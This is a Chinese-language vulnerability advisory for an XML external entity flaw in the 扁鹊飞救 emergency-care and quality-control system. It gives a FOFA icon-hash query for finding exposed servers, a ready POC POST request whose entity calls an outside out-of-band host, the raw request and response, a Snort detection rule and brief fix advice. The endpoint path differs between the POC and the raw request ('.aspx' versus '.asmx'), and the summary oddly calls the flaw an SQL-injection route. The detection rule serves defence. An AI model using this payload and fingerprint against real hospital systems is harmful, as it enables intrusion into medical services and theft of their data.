

扁鹊飞救智能急救与质控系统 YZGH XML实体注入漏洞

扁鹊飞救智能急救与质控系统 YZGH XML实体注入漏洞，攻击者可进行sql注入攻击获取数据库信息或者权限。

影响版本

扁鹊飞救智能急救与质控系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: icon_hash="-757866684" || icon_hash="-1206146847"

POC/EXP:

```
POST /AppService/BQMedical/webServiceForFirstaidApp.aspx/YZGH HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br, zstd
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Upgrade-Insecure-Requests: 1

requestXml=<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://1m0mdeee.eyes.sh"> %remote;]>
```

原始 HTTP 请求	原始 HTTP 响应
<pre> 1 POST /AppService/BQMedical/WebServiceForFirstaidApp.asmx/YZGH HTTP/1.1 2 Host : 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:139.0) Gecko/20100101 Firefox/139.0 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*; q=0.8 5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3, en;q=0.2 6 Accept-Encoding: gzip, deflate, br, zstd 7 Content-Type: application/x-www-form-urlencoded 8 Connection: keep-alive 9 Upgrade-Insecure-Requests: 1 10 11 requestXml=<?xml version="1.0" encoding="UTF-8"?> 12 <!DOCTYPE root [<ENTITY % remote SYSTEM "http://lm0mdeee.eyes.sh"> %remote;]> </pre>	<pre> 1 HTTP/1.1 500 Internal Server Error 2 Cache-Control: private 3 Content-Type: text/plain; charset=utf-8 4 Server: Microsoft-IIS/10.0 5 X-AspNet-Version: 4.0.30319 6 X-Powered-By: ASP.NET 7 Access-Control-Allow-Methods: OPTIONS,POST,GET 8 Access-Control-Allow-Headers: x-requested-with,content-type 9 Access-Control-Allow-Origin: * 10 Date: Thu, 12 Jun 2025 08:15:34 GMT 11 Content-Length: 58 12 13 未找到所需的 DTD 标记。·第 1 行, 位置 1。 14 </pre>

snort规则：

```

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (
  msg:"BianQue FirstAid System - XXE Injection in YZGH";
  flow:to_server,established;
  content:"POST"; http_method;
  content:"/AppService/BQMedical/WebServiceForFirstaidApp.asmx/YZGH"; http_uri;
  content:"Content-Type: application/x-www-form-urlencoded";
  http_client_header;
  pcre: "/requestXml=[^&]*<?xml [^>]*>
<!DOCTYPE [^>]*ENTITY\s+%s+remote\s+SYSTEM\s+[\x22\x27]http:/i";
  metadata:service http;
  metadata:affected_product "扁鹊飞救智能急救与质控系统";
  metadata:attack_type "XML External Entity (XXE) Injection";
  metadata:severity "high";
  reference:url,www.example.com/vulndb/bianque-yzgh-xxe;
  classtype:web-application-attack;
  sid:1000095;
  rev:1;
  priority:1;
)
```

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本。